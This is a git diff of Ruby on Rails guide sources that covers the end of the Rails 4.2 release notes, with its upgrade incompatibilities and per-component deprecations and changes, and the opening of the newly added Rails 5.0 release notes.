+### Foreign Key Support
+
+The migration DSL now supports adding and removing foreign keys. They are dumped
+to `schema.rb` as well. At this time, only the `mysql`, `mysql2` and `postgresql`
+adapters support foreign keys.
+
+```ruby
+# add a foreign key to `articles.author_id` referencing `authors.id`
+add_foreign_key :articles, :authors
+
+# add a foreign key to `articles.author_id` referencing `users.lng_id`
+add_foreign_key :articles, :users, column: :author_id, primary_key: "lng_id"
+
+# remove the foreign key on `accounts.branch_id`
+remove_foreign_key :accounts, :branches
+
+# remove the foreign key on `accounts.owner_id`
+remove_foreign_key :accounts, column: :owner_id
+```
+
+See the API documentation on
+[add_foreign_key](http://api.rubyonrails.org/v4.2.0/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html#method-i-add_foreign_key)
+and
+[remove_foreign_key](http://api.rubyonrails.org/v4.2.0/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html#method-i-remove_foreign_key)
+for a full description.
+
+
+Incompatibilities
+-----------------
+
+Previously deprecated functionality has been removed. Please refer to the
+individual components for new deprecations in this release.
+
+The following changes may require immediate action upon upgrade.
+
+### `render` with a String Argument
+
+Previously, calling `render "foo/bar"` in a controller action was equivalent to
+`render file: "foo/bar"`. In Rails 4.2, this has been changed to mean
+`render template: "foo/bar"` instead. If you need to render a file, please
+change your code to use the explicit form (`render file: "foo/bar"`) instead.
+
+### `respond_with` / Class-Level `respond_to`
+
+`respond_with` and the corresponding class-level `respond_to` have been moved
+to the [responders](https://github.com/plataformatec/responders) gem. Add
+`gem 'responders', '~> 2.0'` to your Gemfile to use it:
+
+```ruby
+# app/controllers/users_controller.rb
+
+class UsersController < ApplicationController
+  respond_to :html, :json
+
+  def show
+    @user = User.find(params[:id])
+    respond_with @user
+  end
+end
+```
+
+Instance-level `respond_to` is unaffected:
+
+```ruby
+# app/controllers/users_controller.rb
+
+class UsersController < ApplicationController
+  def show
+    @user = User.find(params[:id])
+    respond_to do |format|
+      format.html
+      format.json { render json: @user }
+    end
+  end
+end
+```
+
+### Default Host for `rails server`
+
+Due to a [change in Rack](https://github.com/rack/rack/commit/28b014484a8ac0bbb388e7eaeeef159598ec64fc),
+`rails server` now listens on `localhost` instead of `0.0.0.0` by default. This
+should have minimal impact on the standard development workflow as both
+http://127.0.0.1:3000 and http://localhost:3000 will continue to work as before
+on your own machine.
+
+However, with this change you will no longer be able to access the Rails
+server from a different machine, for example if your development environment
+is in a virtual machine and you would like to access it from the host machine.
+In such cases, please start the server with `rails server -b 0.0.0.0` to
+restore the old behavior.
+
+If you do this, be sure to configure your firewall properly such that only
+trusted machines on your network can access your development server.
+
+### Changed status option symbols for `render`
+
+Due to a [change in Rack](https://github.com/rack/rack/commit/be28c6a2ac152fe4adfbef71f3db9f4200df89e8), the symbols that the `render` method accepts for the `:status` option have changed:
+
+- 306: `:reserved` has been removed.
+- 413: `:request_entity_too_large` has been renamed to `:payload_too_large`.
+- 414: `:request_uri_too_long` has been renamed to `:uri_too_long`.
+- 416: `:requested_range_not_satisfiable` has been renamed to `:range_not_satisfiable`.
+
+Keep in mind that if calling `render` with an unknown symbol, the response status will default to 500.
+
+### HTML Sanitizer
+
+The HTML sanitizer has been replaced with a new, more robust, implementation
+built upon [Loofah](https://github.com/flavorjones/loofah) and
+[Nokogiri](https://github.com/sparklemotion/nokogiri). The new sanitizer is
+more secure and its sanitization is more powerful and flexible.
+
+Due to the new algorithm, the sanitized output may be different for certain
+pathological inputs.
+
+If you have a particular need for the exact output of the old sanitizer, you
+can add the [rails-deprecated_sanitizer](https://github.com/kaspth/rails-deprecated_sanitizer)
+gem to the `Gemfile`, to have the old behavior. The gem does not issue
+deprecation warnings because it is opt-in.
+
+`rails-deprecated_sanitizer` will be supported for Rails 4.2 only; it will not
+be maintained for Rails 5.0.
+
+See [this blog post](http://blog.plataformatec.com.br/2014/07/the-new-html-sanitizer-in-rails-4-2/)
+for more details on the changes in the new sanitizer.
+
+### `assert_select`
+
+`assert_select` is now based on [Nokogiri](https://github.com/sparklemotion/nokogiri).
+As a result, some previously-valid selectors are now unsupported. If your
+application is using any of these spellings, you will need to update them:
+
+*   Values in attribute selectors may need to be quoted if they contain
+    non-alphanumeric characters.
+
+    ```ruby
+    # before
+    a[href=/]
+    a[href$=/]
+
+    # now
+    a[href="/"]
+    a[href$="/"]
+    ```
+
+*   DOMs built from HTML source containing invalid HTML with improperly
+    nested elements may differ.
+
+    For example:
+
+    ```ruby
+    # content: <div><i><p></i></div>
+
+    # before:
+    assert_select('div > i')  # => true
+    assert_select('div > p')  # => false
+    assert_select('i > p')    # => true
+
+    # now:
+    assert_select('div > i')  # => true
+    assert_select('div > p')  # => true
+    assert_select('i > p')    # => false
+    ```
+
+*   If the data selected contains entities, the value selected for comparison
+    used to be raw (e.g. `AT&amp;T`), and now is evaluated
+    (e.g. `AT&T`).
+
+    ```ruby
+    # content: <p>AT&amp;T</p>
+
+    # before:
+    assert_select('p', 'AT&amp;T')  # => true
+    assert_select('p', 'AT&T')      # => false
+
+    # now:
+    assert_select('p', 'AT&T')      # => true
+    assert_select('p', 'AT&amp;T')  # => false
+    ```
+
+Furthermore substitutions have changed syntax.
+
+Now you have to use a `:match` CSS-like selector:
+
+```ruby
+assert_select ":match('id', ?)", 'comment_1'
+```
+
+Additionally Regexp substitutions look different when the assertion fails.
+Notice how `/hello/` here:
+
+```ruby
+assert_select(":match('id', ?)", /hello/)
+```
+
+becomes `"(?-mix:hello)"`:
+
+```
+Expected at least 1 element matching "div:match('id', "(?-mix:hello)")", found 0..
+Expected 0 to be >= 1.
+```
+
+See the [Rails Dom Testing](https://github.com/rails/rails-dom-testing/tree/8798b9349fb9540ad8cb9a0ce6cb88d1384a210b) documentation for more on `assert_select`.
+
+
+Railties
+--------
+
+Please refer to the [Changelog][railties] for detailed changes.
+
+### Removals
+
+*   The `--skip-action-view` option has been removed from the
+    app generator. ([Pull Request](https://github.com/rails/rails/pull/17042))
+
+*   The `rails application` command has been removed without replacement.
+    ([Pull Request](https://github.com/rails/rails/pull/11616))
+
+### Deprecations
+
+*   Deprecated missing `config.log_level` for production environments.
+    ([Pull Request](https://github.com/rails/rails/pull/16622))
+
+*   Deprecated `rake test:all` in favor of `rake test` as it now run all tests
+    in the `test` folder.
+    ([Pull Request](https://github.com/rails/rails/pull/17348))
+
+*   Deprecated `rake test:all:db` in favor of `rake test:db`.
+    ([Pull Request](https://github.com/rails/rails/pull/17348))
+
+*   Deprecated `Rails::Rack::LogTailer` without replacement.
+    ([Commit](https://github.com/rails/rails/commit/84a13e019e93efaa8994b3f8303d635a7702dbce))
+
+### Notable changes
+
+*   Introduced `web-console` in the default application Gemfile.
+    ([Pull Request](https://github.com/rails/rails/pull/11667))
+
+*   Added a `required` option to the model generator for associations.
+    ([Pull Request](https://github.com/rails/rails/pull/16062))
+
+*   Introduced the `x` namespace for defining custom configuration options:
+
+    ```ruby
+    # config/environments/production.rb
+    config.x.payment_processing.schedule = :daily
+    config.x.payment_processing.retries  = 3
+    config.x.super_debugger              = true
+    ```
+
+    These options are then available through the configuration object:
+
+    ```ruby
+    Rails.configuration.x.payment_processing.schedule # => :daily
+    Rails.configuration.x.payment_processing.retries  # => 3
+    Rails.configuration.x.super_debugger              # => true
+    ```
+
+    ([Commit](https://github.com/rails/rails/commit/611849772dd66c2e4d005dcfe153f7ce79a8a7db))
+
+*   Introduced `Rails::Application.config_for` to load a configuration for the
+    current environment.
+
+    ```ruby
+    # config/exception_notification.yml:
+    production:
+      url: http://127.0.0.1:8080
+      namespace: my_app_production
+    development:
+      url: http://localhost:3001
+      namespace: my_app_development
+
+    # config/environments/production.rb
+    Rails.application.configure do
+      config.middleware.use ExceptionNotifier, config_for(:exception_notification)
+    end
+    ```
+
+    ([Pull Request](https://github.com/rails/rails/pull/16129))
+
+*   Introduced a `--skip-turbolinks` option in the app generator to not generate
+    turbolinks integration.
+    ([Commit](https://github.com/rails/rails/commit/bf17c8a531bc8059d50ad731398002a3e7162a7d))
+
+*   Introduced a `bin/setup` script as a convention for automated setup code when
+    bootstrapping an application.
+    ([Pull Request](https://github.com/rails/rails/pull/15189))
+
+*   Changed the default value for `config.assets.digest` to `true` in development.
+    ([Pull Request](https://github.com/rails/rails/pull/15155))
+
+*   Introduced an API to register new extensions for `rake notes`.
+    ([Pull Request](https://github.com/rails/rails/pull/14379))
+
+*   Introduced an `after_bundle` callback for use in Rails templates.
+    ([Pull Request](https://github.com/rails/rails/pull/16359))
+
+*   Introduced `Rails.gem_version` as a convenience method to return
+    `Gem::Version.new(Rails.version)`.
+    ([Pull Request](https://github.com/rails/rails/pull/14101))
+
+
+Action Pack
+-----------
+
+Please refer to the [Changelog][action-pack] for detailed changes.
+
+### Removals
+
+*   `respond_with` and the class-level `respond_to` have been removed from Rails and
+    moved to the `responders` gem (version 2.0). Add `gem 'responders', '~> 2.0'`
+    to your `Gemfile` to continue using these features.
+    ([Pull Request](https://github.com/rails/rails/pull/16526),
+     [More Details](http://guides.rubyonrails.org/upgrading_ruby_on_rails.html#responders))
+
+*   Removed deprecated `AbstractController::Helpers::ClassMethods::MissingHelperError`
+    in favor of `AbstractController::Helpers::MissingHelperError`.
+    ([Commit](https://github.com/rails/rails/commit/a1ddde15ae0d612ff2973de9cf768ed701b594e8))
+
+### Deprecations
+
+*   Deprecated the `only_path` option on `*_path` helpers.
+    ([Commit](https://github.com/rails/rails/commit/aa1fadd48fb40dd9396a383696134a259aa59db9))
+
+*   Deprecated `assert_tag`, `assert_no_tag`, `find_tag` and `find_all_tag` in
+    favor of `assert_select`.
+    ([Commit](https://github.com/rails/rails-dom-testing/commit/b12850bc5ff23ba4b599bf2770874dd4f11bf750))
+
+*   Deprecated support for setting the `:to` option of a router to a symbol or a
+    string that does not contain a "#" character:
+
+    ```ruby
+    get '/posts', to: MyRackApp    => (No change necessary)
+    get '/posts', to: 'post#index' => (No change necessary)
+    get '/posts', to: 'posts'      => get '/posts', controller: :posts
+    get '/posts', to: :index       => get '/posts', action: :index
+    ```
+
+    ([Commit](https://github.com/rails/rails/commit/cc26b6b7bccf0eea2e2c1a9ebdcc9d30ca7390d9))
+
+*   Deprecated support for string keys in URL helpers:
+
+    ```ruby
+    # bad
+    root_path('controller' => 'posts', 'action' => 'index')
+
+    # good
+    root_path(controller: 'posts', action: 'index')
+    ```
+
+    ([Pull Request](https://github.com/rails/rails/pull/17743))
+
+### Notable changes
+
+*   The `*_filter` family of methods have been removed from the documentation. Their
+    usage is discouraged in favor of the `*_action` family of methods:
+
+    ```
+    after_filter          => after_action
+    append_after_filter   => append_after_action
+    append_around_filter  => append_around_action
+    append_before_filter  => append_before_action
+    around_filter         => around_action
+    before_filter         => before_action
+    prepend_after_filter  => prepend_after_action
+    prepend_around_filter => prepend_around_action
+    prepend_before_filter => prepend_before_action
+    skip_after_filter     => skip_after_action
+    skip_around_filter    => skip_around_action
+    skip_before_filter    => skip_before_action
+    skip_filter           => skip_action_callback
+    ```
+
+    If your application currently depends on these methods, you should use the
+    replacement `*_action` methods instead. These methods will be deprecated in
+    the future and will eventually be removed from Rails.
+
+    (Commit [1](https://github.com/rails/rails/commit/6c5f43bab8206747a8591435b2aa0ff7051ad3de),
+    [2](https://github.com/rails/rails/commit/489a8f2a44dc9cea09154ee1ee2557d1f037c7d4))
+
+*   `render nothing: true` or rendering a `nil` body no longer add a single
+    space padding to the response body.
+    ([Pull Request](https://github.com/rails/rails/pull/14883))
+
+*   Rails now automatically includes the template's digest in ETags.
+    ([Pull Request](https://github.com/rails/rails/pull/16527))
+
+*   Segments that are passed into URL helpers are now automatically escaped.
+    ([Commit](https://github.com/rails/rails/commit/5460591f0226a9d248b7b4f89186bd5553e7768f))
+
+*   Introduced the `always_permitted_parameters` option to configure which
+    parameters are permitted globally. The default value of this configuration
+    is `['controller', 'action']`.
+    ([Pull Request](https://github.com/rails/rails/pull/15933))
+
+*   Added the HTTP method `MKCALENDAR` from [RFC 4791](https://tools.ietf.org/html/rfc4791).
+    ([Pull Request](https://github.com/rails/rails/pull/15121))
+
+*   `*_fragment.action_controller` notifications now include the controller
+    and action name in the payload.
+    ([Pull Request](https://github.com/rails/rails/pull/14137))
+
+*   Improved the Routing Error page with fuzzy matching for route search.
+    ([Pull Request](https://github.com/rails/rails/pull/14619))
+
+*   Added an option to disable logging of CSRF failures.
+    ([Pull Request](https://github.com/rails/rails/pull/14280))
+
+*   When the Rails server is set to serve static assets, gzip assets will now be
+    served if the client supports it and a pre-generated gzip file (`.gz`) is on disk.
+    By default the asset pipeline generates `.gz` files for all compressible assets.
+    Serving gzip files minimizes data transfer and speeds up asset requests. Always
+    [use a CDN](http://guides.rubyonrails.org/asset_pipeline.html#cdns) if you are
+    serving assets from your Rails server in production.
+    ([Pull Request](https://github.com/rails/rails/pull/16466))
+
+*   When calling the `process` helpers in an integration test the path needs to have
+    a leading slash. Previously you could omit it but that was a byproduct of the
+    implementation and not an intentional feature, e.g.:
+
+    ```ruby
+    test "list all posts" do
+      get "/posts"
+      assert_response :success
+    end
+    ```
+
+Action View
+-----------
+
+Please refer to the [Changelog][action-view] for detailed changes.
+
+### Deprecations
+
+*   Deprecated `AbstractController::Base.parent_prefixes`.
+    Override `AbstractController::Base.local_prefixes` when you want to change
+    where to find views.
+    ([Pull Request](https://github.com/rails/rails/pull/15026))
+
+*   Deprecated `ActionView::Digestor#digest(name, format, finder, options = {})`.
+    Arguments should be passed as a hash instead.
+    ([Pull Request](https://github.com/rails/rails/pull/14243))
+
+### Notable changes
+
+*   `render "foo/bar"` now expands to `render template: "foo/bar"` instead of
+    `render file: "foo/bar"`.
+    ([Pull Request](https://github.com/rails/rails/pull/16888))
+
+*   The form helpers no longer generate a `<div>` element with inline CSS around
+    the hidden fields.
+    ([Pull Request](https://github.com/rails/rails/pull/14738))
+
+*   Introduced a `#{partial_name}_iteration` special local variable for use with
+    partials that are rendered with a collection. It provides access to the
+    current state of the iteration via the `index`, `size`, `first?` and
+    `last?` methods.
+    ([Pull Request](https://github.com/rails/rails/pull/7698))
+
+*   Placeholder I18n follows the same convention as `label` I18n.
+    ([Pull Request](https://github.com/rails/rails/pull/16438))
+
+
+Action Mailer
+-------------
+
+Please refer to the [Changelog][action-mailer] for detailed changes.
+
+### Deprecations
+
+*   Deprecated `*_path` helpers in mailers. Always use `*_url` helpers instead.
+    ([Pull Request](https://github.com/rails/rails/pull/15840))
+
+*   Deprecated `deliver` / `deliver!` in favor of `deliver_now` / `deliver_now!`.
+    ([Pull Request](https://github.com/rails/rails/pull/16582))
+
+### Notable changes
+
+*   `link_to` and `url_for` generate absolute URLs by default in templates,
+    it is no longer needed to pass `only_path: false`.
+    ([Commit](https://github.com/rails/rails/commit/9685080a7677abfa5d288a81c3e078368c6bb67c))
+
+*   Introduced `deliver_later` which enqueues a job on the application's queue
+    to deliver emails asynchronously.
+    ([Pull Request](https://github.com/rails/rails/pull/16485))
+
+*   Added the `show_previews` configuration option for enabling mailer previews
+    outside of the development environment.
+    ([Pull Request](https://github.com/rails/rails/pull/15970))
+
+
+Active Record
+-------------
+
+Please refer to the [Changelog][active-record] for detailed changes.
+
+### Removals
+
+*   Removed `cache_attributes` and friends. All attributes are cached.
+    ([Pull Request](https://github.com/rails/rails/pull/15429))
+
+*   Removed deprecated method `ActiveRecord::Base.quoted_locking_column`.
+    ([Pull Request](https://github.com/rails/rails/pull/15612))
+
+*   Removed deprecated `ActiveRecord::Migrator.proper_table_name`. Use the
+    `proper_table_name` instance method on `ActiveRecord::Migration` instead.
+    ([Pull Request](https://github.com/rails/rails/pull/15512))
+
+*   Removed unused `:timestamp` type. Transparently alias it to `:datetime`
+    in all cases. Fixes inconsistencies when column types are sent outside of
+    Active Record, such as for XML serialization.
+    ([Pull Request](https://github.com/rails/rails/pull/15184))
+
+### Deprecations
+
+*   Deprecated swallowing of errors inside `after_commit` and `after_rollback`.
+    ([Pull Request](https://github.com/rails/rails/pull/16537))
+
+*   Deprecated broken support for automatic detection of counter caches on
+    `has_many :through` associations. You should instead manually specify the
+    counter cache on the `has_many` and `belongs_to` associations for the
+    through records.
+    ([Pull Request](https://github.com/rails/rails/pull/15754))
+
+*   Deprecated passing Active Record objects to `.find` or `.exists?`. Call
+    `id` on the objects first.
+    (Commit [1](https://github.com/rails/rails/commit/d92ae6ccca3bcfd73546d612efaea011270bd270),
+    [2](https://github.com/rails/rails/commit/d35f0033c7dec2b8d8b52058fb8db495d49596f7))
+
+*   Deprecated half-baked support for PostgreSQL range values with excluding
+    beginnings. We currently map PostgreSQL ranges to Ruby ranges. This conversion
+    is not fully possible because Ruby ranges do not support excluded beginnings.
+
+    The current solution of incrementing the beginning is not correct
+    and is now deprecated. For subtypes where we don't know how to increment
+    (e.g. `succ` is not defined) it will raise an `ArgumentError` for ranges
+    with excluding beginnings.
+    ([Commit](https://github.com/rails/rails/commit/91949e48cf41af9f3e4ffba3e5eecf9b0a08bfc3))
+
+*   Deprecated calling `DatabaseTasks.load_schema` without a connection. Use
+    `DatabaseTasks.load_schema_current` instead.
+    ([Commit](https://github.com/rails/rails/commit/f15cef67f75e4b52fd45655d7c6ab6b35623c608))
+
+*   Deprecated `sanitize_sql_hash_for_conditions` without replacement. Using a
+    `Relation` for performing queries and updates is the preferred API.
+    ([Commit](https://github.com/rails/rails/commit/d5902c9e))
+
+*   Deprecated `add_timestamps` and `t.timestamps` without passing the `:null`
+    option. The default of `null: true` will change in Rails 5 to `null: false`.
+    ([Pull Request](https://github.com/rails/rails/pull/16481))
+
+*   Deprecated `Reflection#source_macro` without replacement as it is no longer
+    needed in Active Record.
+    ([Pull Request](https://github.com/rails/rails/pull/16373))
+
+*   Deprecated `serialized_attributes` without replacement.
+    ([Pull Request](https://github.com/rails/rails/pull/15704))
+
+*   Deprecated returning `nil` from `column_for_attribute` when no column
+    exists. It will return a null object in Rails 5.0.
+    ([Pull Request](https://github.com/rails/rails/pull/15878))
+
+*   Deprecated using `.joins`, `.preload` and `.eager_load` with associations
+    that depend on the instance state (i.e. those defined with a scope that
+    takes an argument) without replacement.
+    ([Commit](https://github.com/rails/rails/commit/ed56e596a0467390011bc9d56d462539776adac1))
+
+### Notable changes
+
+*   `SchemaDumper` uses `force: :cascade` on `create_table`. This makes it
+    possible to reload a schema when foreign keys are in place.
+
+*   Added a `:required` option to singular associations, which defines a
+    presence validation on the association.
+    ([Pull Request](https://github.com/rails/rails/pull/16056))
+
+*   `ActiveRecord::Dirty` now detects in-place changes to mutable values.
+    Serialized attributes on Active Record models are no longer saved when
+    unchanged. This also works with other types such as string columns and json
+    columns on PostgreSQL.
+    (Pull Requests [1](https://github.com/rails/rails/pull/15674),
+    [2](https://github.com/rails/rails/pull/15786),
+    [3](https://github.com/rails/rails/pull/15788))
+
+*   Introduced the `db:purge` Rake task to empty the database for the
+    current environment.
+    ([Commit](https://github.com/rails/rails/commit/e2f232aba15937a4b9d14bd91e0392c6d55be58d))
+
+*   Introduced `ActiveRecord::Base#validate!` that raises
+    `ActiveRecord::RecordInvalid` if the record is invalid.
+    ([Pull Request](https://github.com/rails/rails/pull/8639))
+
+*   Introduced `validate` as an alias for `valid?`.
+    ([Pull Request](https://github.com/rails/rails/pull/14456))
+
+*   `touch` now accepts multiple attributes to be touched at once.
+    ([Pull Request](https://github.com/rails/rails/pull/14423))
+
+*   The PostgreSQL adapter now supports the `jsonb` datatype in PostgreSQL 9.4+.
+    ([Pull Request](https://github.com/rails/rails/pull/16220))
+
+*   The PostgreSQL and SQLite adapters no longer add a default limit of 255
+    characters on string columns.
+    ([Pull Request](https://github.com/rails/rails/pull/14579))
+
+*   Added support for the `citext` column type in the PostgreSQL adapter.
+    ([Pull Request](https://github.com/rails/rails/pull/12523))
+
+*   Added support for user-created range types in the PostgreSQL adapter.
+    ([Commit](https://github.com/rails/rails/commit/4cb47167e747e8f9dc12b0ddaf82bdb68c03e032))
+
+*   `sqlite3:///some/path` now resolves to the absolute system path
+    `/some/path`. For relative paths, use `sqlite3:some/path` instead.
+    (Previously, `sqlite3:///some/path` resolved to the relative path
+    `some/path`. This behavior was deprecated on Rails 4.1).
+    ([Pull Request](https://github.com/rails/rails/pull/14569))
+
+*   Added support for fractional seconds for MySQL 5.6 and above.
+    (Pull Request [1](https://github.com/rails/rails/pull/8240),
+    [2](https://github.com/rails/rails/pull/14359))
+
+*   Added `ActiveRecord::Base#pretty_print` to pretty print models.
+    ([Pull Request](https://github.com/rails/rails/pull/15172))
+
+*   `ActiveRecord::Base#reload` now behaves the same as `m = Model.find(m.id)`,
+    meaning that it no longer retains the extra attributes from custom
+    `SELECT`s.
+    ([Pull Request](https://github.com/rails/rails/pull/15866))
+
+*   `ActiveRecord::Base#reflections` now returns a hash with string keys instead
+    of symbol keys. ([Pull Request](https://github.com/rails/rails/pull/17718))
+
+*   The `references` method in migrations now supports a `type` option for
+    specifying the type of the foreign key (e.g. `:uuid`).
+    ([Pull Request](https://github.com/rails/rails/pull/16231))
+
+Active Model
+------------
+
+Please refer to the [Changelog][active-model] for detailed changes.
+
+### Removals
+
+*   Removed deprecated `Validator#setup` without replacement.
+    ([Pull Request](https://github.com/rails/rails/pull/10716))
+
+### Deprecations
+
+*   Deprecated `reset_#{attribute}` in favor of `restore_#{attribute}`.
+    ([Pull Request](https://github.com/rails/rails/pull/16180))
+
+*   Deprecated `ActiveModel::Dirty#reset_changes` in favor of
+    `clear_changes_information`.
+    ([Pull Request](https://github.com/rails/rails/pull/16180))
+
+### Notable changes
+
+*   Introduced `validate` as an alias for `valid?`.
+    ([Pull Request](https://github.com/rails/rails/pull/14456))
+
+*   Introduced the `restore_attributes` method in `ActiveModel::Dirty` to restore
+    the changed (dirty) attributes to their previous values.
+    (Pull Request [1](https://github.com/rails/rails/pull/14861),
+    [2](https://github.com/rails/rails/pull/16180))
+
+*   `has_secure_password` no longer disallows blank passwords (i.e. passwords
+    that contains only spaces) by default.
+    ([Pull Request](https://github.com/rails/rails/pull/16412))
+
+*   `has_secure_password` now verifies that the given password is less than 72
+    characters if validations are enabled.
+    ([Pull Request](https://github.com/rails/rails/pull/15708))
+
+Active Support
+--------------
+
+Please refer to the [Changelog][active-support] for detailed changes.
+
+### Removals
+
+*   Removed deprecated `Numeric#ago`, `Numeric#until`, `Numeric#since`,
+    `Numeric#from_now`.
+    ([Commit](https://github.com/rails/rails/commit/f1eddea1e3f6faf93581c43651348f48b2b7d8bb))
+
+*   Removed deprecated string based terminators for `ActiveSupport::Callbacks`.
+    ([Pull Request](https://github.com/rails/rails/pull/15100))
+
+### Deprecations
+
+*   Deprecated `Kernel#silence_stderr`, `Kernel#capture` and `Kernel#quietly`
+    without replacement.
+    ([Pull Request](https://github.com/rails/rails/pull/13392))
+
+*   Deprecated `Class#superclass_delegating_accessor`, use
+    `Class#class_attribute` instead.
+    ([Pull Request](https://github.com/rails/rails/pull/14271))
+
+*   Deprecated `ActiveSupport::SafeBuffer#prepend!` as
+    `ActiveSupport::SafeBuffer#prepend` now performs the same function.
+    ([Pull Request](https://github.com/rails/rails/pull/14529))
+
+### Notable changes
+
+*   Introduced a new configuration option `active_support.test_order` for
+    specifying the order test cases are executed. This option currently defaults
+    to `:sorted` but will be changed to `:random` in Rails 5.0.
+    ([Commit](https://github.com/rails/rails/commit/53e877f7d9291b2bf0b8c425f9e32ef35829f35b))
+
+*   `Object#try` and `Object#try!` can now be used without an explicit receiver in the block.
+    ([Commit](https://github.com/rails/rails/commit/5e51bdda59c9ba8e5faf86294e3e431bd45f1830),
+    [Pull Request](https://github.com/rails/rails/pull/17361))
+
+*   The `travel_to` test helper now truncates the `usec` component to 0.
+    ([Commit](https://github.com/rails/rails/commit/9f6e82ee4783e491c20f5244a613fdeb4024beb5))
+
+*   Introduced `Object#itself` as an identity function.
+    (Commit [1](https://github.com/rails/rails/commit/702ad710b57bef45b081ebf42e6fa70820fdd810),
+    [2](https://github.com/rails/rails/commit/64d91122222c11ad3918cc8e2e3ebc4b0a03448a))
+
+*   `Object#with_options` can now be used without an explicit receiver in the block.
+    ([Pull Request](https://github.com/rails/rails/pull/16339))
+
+*   Introduced `String#truncate_words` to truncate a string by a number of words.
+    ([Pull Request](https://github.com/rails/rails/pull/16190))
+
+*   Added `Hash#transform_values` and `Hash#transform_values!` to simplify a
+    common pattern where the values of a hash must change, but the keys are left
+    the same.
+    ([Pull Request](https://github.com/rails/rails/pull/15819))
+
+*   The `humanize` inflector helper now strips any leading underscores.
+    ([Commit](https://github.com/rails/rails/commit/daaa21bc7d20f2e4ff451637423a25ff2d5e75c7))
+
+*   Introduced `Concern#class_methods` as an alternative to
+    `module ClassMethods`, as well as `Kernel#concern` to avoid the
+    `module Foo; extend ActiveSupport::Concern; end` boilerplate.
+    ([Commit](https://github.com/rails/rails/commit/b16c36e688970df2f96f793a759365b248b582ad))
+
+*   New [guide](autoloading_and_reloading_constants.html) about constant autoloading and reloading.
+
+Credits
+-------
+
+See the
+[full list of contributors to Rails](http://contributors.rubyonrails.org/) for
+the many people who spent many hours making Rails the stable and robust
+framework it is today. Kudos to all of them.
+
+[railties]:       https://github.com/rails/rails/blob/4-2-stable/railties/CHANGELOG.md
+[action-pack]:    https://github.com/rails/rails/blob/4-2-stable/actionpack/CHANGELOG.md
+[action-view]:    https://github.com/rails/rails/blob/4-2-stable/actionview/CHANGELOG.md
+[action-mailer]:  https://github.com/rails/rails/blob/4-2-stable/actionmailer/CHANGELOG.md
+[active-record]:  https://github.com/rails/rails/blob/4-2-stable/activerecord/CHANGELOG.md
+[active-model]:   https://github.com/rails/rails/blob/4-2-stable/activemodel/CHANGELOG.md
+[active-support]: https://github.com/rails/rails/blob/4-2-stable/activesupport/CHANGELOG.md
diff --git a/guides/source/5_0_release_notes.md b/guides/source/5_0_release_notes.md
new file mode 100644
index 0000000000..5f4be07351
--- /dev/null
+++ b/guides/source/5_0_release_notes.md
@@ -0,0 +1,1096 @@
+**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON http://guides.rubyonrails.org.**
+
+Ruby on Rails 5.0 Release Notes
+===============================
+
+Highlights in Rails 5.0:
+
+* Action Cable
+* Rails API
+* Active Record Attributes API
+* Test Runner
+* Exclusive use of `rails` CLI over Rake
+* Sprockets 3
+* Turbolinks 5
+* Ruby 2.2.2+ required
+
+These release notes cover only the major changes. To learn about various bug
+fixes and changes, please refer to the change logs or check out the [list of
+commits](https://github.com/rails/rails/commits/5-0-stable) in the main Rails
+repository on GitHub.
+
+--------------------------------------------------------------------------------
+
+Upgrading to Rails 5.0
+----------------------
+
+If you're upgrading an existing application, it's a great idea to have good test
+coverage before going in. You should also first upgrade to Rails 4.2 in case you
+haven't and make sure your application still runs as expected before attempting
+an update to Rails 5.0. A list of things to watch out for when upgrading is
+available in the
+[Upgrading Ruby on Rails](upgrading_ruby_on_rails.html#upgrading-from-rails-4-2-to-rails-5-0)
+guide.
+
+
+Major Features
+--------------
+
+### Action Cable
+
+Action Cable is a new framework in Rails 5. It seamlessly integrates
+[WebSockets](https://en.wikipedia.org/wiki/WebSocket) with the rest of your
+Rails application.
+
+Action Cable allows for real-time features to be written in Ruby in the
+same style and form as the rest of your Rails application, while still being
+performant and scalable. It's a full-stack offering that provides both a
+client-side JavaScript framework and a server-side Ruby framework. You have
+access to your full domain model written with Active Record or your ORM of
+choice.
+
+See the [Action Cable Overview](action_cable_overview.html) guide for more
+information.
+
+### API Applications
+
+Rails can now be used to create slimmed down API only applications.
+This is useful for creating and serving APIs similar to [Twitter](https://dev.twitter.com) or [GitHub](http://developer.github.com) API, 
+that can be used to serve public facing, as well as, for custom applications.
+
+You can generate a new api Rails app using:
+
+```bash
+$ rails new my_api --api
+```
+
+This will do three main things:
+
+- Configure your application to start with a more limited set of middleware
+  than normal. Specifically, it will not include any middleware primarily useful
+  for browser applications (like cookies support) by default.
+- Make `ApplicationController` inherit from `ActionController::API` instead of
+  `ActionController::Base`. As with middleware, this will leave out any Action
+  Controller modules that provide functionalities primarily used by browser
+  applications.
+- Configure the generators to skip generating views, helpers and assets when
+  you generate a new resource. 
+
+The application provides a base for APIs, 
+that can then be [configured to pull in functionality](api_app.html) as suitable for the application's needs.  
+ 
+See the [Using Rails for API-only Applications](api_app.html) guide for more
+information.
+
+### Active Record attributes API
+
+Defines an attribute with a type on a model. It will override the type of existing attributes if needed.
+This allows control over how values are converted to and from SQL when assigned to a model.
+It also changes the behavior of values passed to `ActiveRecord::Base.where`, which lets use our domain objects across much of Active Record,
+without having to rely on implementation details or monkey patching.
+
+Some things that you can achieve with this:
+
+- The type detected by Active Record can be overridden.
+- A default can also be provided.
+- Attributes do not need to be backed by a database column.
+
+```ruby
+
+# db/schema.rb
+create_table :store_listings, force: true do |t|
+  t.decimal :price_in_cents
+  t.string :my_string, default: "original default"
+end
+
+# app/models/store_listing.rb
+class StoreListing < ActiveRecord::Base
+end
+
+store_listing = StoreListing.new(price_in_cents: '10.1')
+
+# before
+store_listing.price_in_cents # => BigDecimal.new(10.1)
+StoreListing.new.my_string # => "original default"
+
+class StoreListing < ActiveRecord::Base
+  attribute :price_in_cents, :integer # custom type
+  attribute :my_string, :string, default: "new default" # default value
+  attribute :my_default_proc, :datetime, default: -> { Time.now } # default value
+  attribute :field_without_db_column, :integer, array: true
+end
+
+# after
+store_listing.price_in_cents # => 10
+StoreListing.new.my_string # => "new default"
+StoreListing.new.my_default_proc # => 2015-05-30 11:04:48 -0600
+model = StoreListing.new(field_without_db_column: ["1", "2", "3"])
+model.attributes # => {field_without_db_column: [1, 2, 3]}
+```
+
+**Creating Custom Types:**
+
+You can define your own custom types, as long as they respond
+to the methods defined on the value type. The method `deserialize` or
+`cast` will be called on your type object, with raw input from the
+database or from your controllers. This is useful, for example, when doing custom conversion,
